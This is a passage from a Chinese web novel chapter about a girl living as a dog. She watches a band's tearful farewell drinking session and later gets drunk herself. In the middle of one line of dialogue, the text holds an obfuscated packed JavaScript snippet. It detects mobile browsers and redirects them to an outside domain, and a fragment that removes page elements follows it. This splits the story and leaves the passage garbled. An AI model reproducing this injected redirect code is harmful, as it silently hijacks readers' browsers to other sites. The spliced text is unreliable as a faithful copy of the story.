第六感告诉江柚清，眼前的女孩状态有点不太好。她不太懂这是怎么回事，明明今天是一个高兴的日子，可为什么一个二个搞得像生离死别一样。 过了一会，她看到岁禾直起腰，拿起手边的白酒又给自己倒了半杯，再次一饮而尽。喝的太快，女孩被呛的弯腰直咳嗽。 余亮起身抽了张纸递给岁禾，又拍背给她顺气。 “好了，岁禾。再能喝也不能这样喝，你的胃还要不要。” 岁禾抬头，努力扯出一抹笑，可笑的比哭还难看。 “亮哥，我嘴笨不太会说话，想说的都在刚才酒里，你别介意。” 江柚清丈二和尚摸不着头脑，倒是余亮看着眼眶已经红了大半的人，到嘴边的话又咽了回去。 “你先坐好，我现在给你弟打电话，让他喊几个朋友把你们先送回去，以后的事……我们以后再说。” 密闭的空间变得沉默，气氛压得很低，偶尔醉酒的人挂着几句胡话，时不时打破寂静。 十几分钟后，五六个人进来，又几分钟，包厢只剩下两人一狗。 余亮一杯接着一杯啤酒下肚，何述抱着小狗坐在一旁没有劝。江柚清有点担心，扒着何述的爪子微微收紧。 “没事，他有分寸。”何述自顾自解释，又递给余亮一瓶，“这次不让他喝尽兴，他会难受好几天。” 江柚清松了劲，歪在何述怀里，静静观察余亮状态。 八九个啤酒瓶胡乱摆在桌子上，余亮头磕在桌沿，好长时间没吭声。就在江柚清以为他睡着的时候，余亮缓慢而沉重地抬起头，眼神清明，半分醉态都没有。 头顶灯光刺的晃眼，余亮自嘲道：“何述，我和他们毕业快两年了，这两年参加了大大小小不少活动，可到头来我们连自己都养活不起。果然啊，理想这东西，只有先填饱肚子才能谈。” “余亮。”何述把余亮面前的酒杯拿开，重复以前跟他说过的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497640|185960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，语气郑重，“乐队如果需要钱，我这里还有一些，你要的话我可以全转给你。” 余亮摇摇头，“昆山和常昊已经不想继续了，我不能强迫他们非要跟我一起玩乐队。今天当做最后一次舞台表演也挺好，岁禾说今天是个好日子，会有很多很多人记得我们，而我们也会记住这一天的。” 听到这，江柚清恍然，这才明白为什么在表演开始前余亮那么落寞，为什么他们今天喝的那么凶，为什么岁禾会红了眼…… 不舍、不甘、痛苦、纠结、释然、放下。从放声高歌大谈理想与未来到败给现实回归生活，半个小时的演出表演竟然是他们最华丽的退场曲。 理想与现实，江柚清无可奈何地想，为什么谁都要面临这道选择题。她用爪子碰碰何述的酒杯，也想喝点酒。 何述知晓她的意思却没动，一旁的余亮也看懂了，认为小狗要陪他一醉解千愁，感动的一把鼻涕一把泪。他开门问服务员要了一个一次性碗，拉着椅子坐到何述身边，往碗里倒了点啤酒放在小狗面前。 “没想到柚子你这么仗义，要不是人狗殊途，我一定交你这个朋友。”余亮直接对瓶吹，喝完不忘给小狗添点。 【余亮，一切都会好起来的。】 “汪汪，汪汪汪!” 江柚清鼻尖拱拱小碗象征性地跟余亮碰个杯，继而低头整个脸埋进碗里大口喝酒。 喝到最后，整场聚会连人带狗，只有何述是清醒的。看着眼前东倒西歪的余亮和小狗，何述闭上眼静静眯了一会。 晚上11点，送完余亮后，何述抱着醉醺醺的小狗终于回到家。他把小狗放到沙发上，脱掉被她吐的不成样子的衣服，进了浴室。 流水声哗哗作响，江柚清迷迷糊糊醒来，感觉脑袋像是被灌了铅，有点懵。 没看见何述，她爬起来去找。结果醉的太狠，四肢不稳，前爪错开沙发边缘，一下子踩空。 哐当一声，脸着地，江柚清一整个摔在地上。缓了好半天，她才勉强站稳，头昏眼花地朝水源声走去。 客厅漆黑，只有浴室亮着灯。不透明的磨砂玻璃门阻隔了一切。 没打扰何述洗澡，江柚清趴在门外等，头搁在两条腿上昏昏欲睡。 水流声停止，何述推门出来。江柚清听到声音，撑着身子站起来，后腿发软又坐了回去，来回几下怎么都站不起来，所幸躺在地上选择摆烂。 “你呀！”何述蹲下身，指腹点点小狗的肚子，小狗抱着他的手指不撒手。他无奈笑笑，捞起小狗把她抱在怀里再次进了浴室。 浴室水汽蒸腾，江柚清躺在狗狗浴盆里，突然玩心四起，翻个身开始狗刨。 何述纵容她玩闹，两只手托住她的身体微微上抬，怕她呛着，白色短袖被水沾湿大片。 玩累了，何述把她从盆里捞出来，拿毛巾简单擦了几下，又用浴巾包着，带她去卧室。 床上，江柚清仰躺在浴巾里，乖乖让何述帮她擦身体。眼神漫无目的地游移，滑过何述腹部的时候，视线瞬间定格。 湿透的白色短袖紧紧贴在何述身上，流畅的人鱼线顺着腰线下隐。何述的手臂跟随擦拭动作抬起的一霎，腰腹肌肉绷紧，漂亮的腹肌线条冲击她的五感。 江柚清有些愣神，酒晕子上线，理智小人早已被她抛到九霄云外，大脑全是色欲熏心下的想摸摸。 【好想摸腹肌，想摸，想摸。】 何述手一顿，茫然地看她。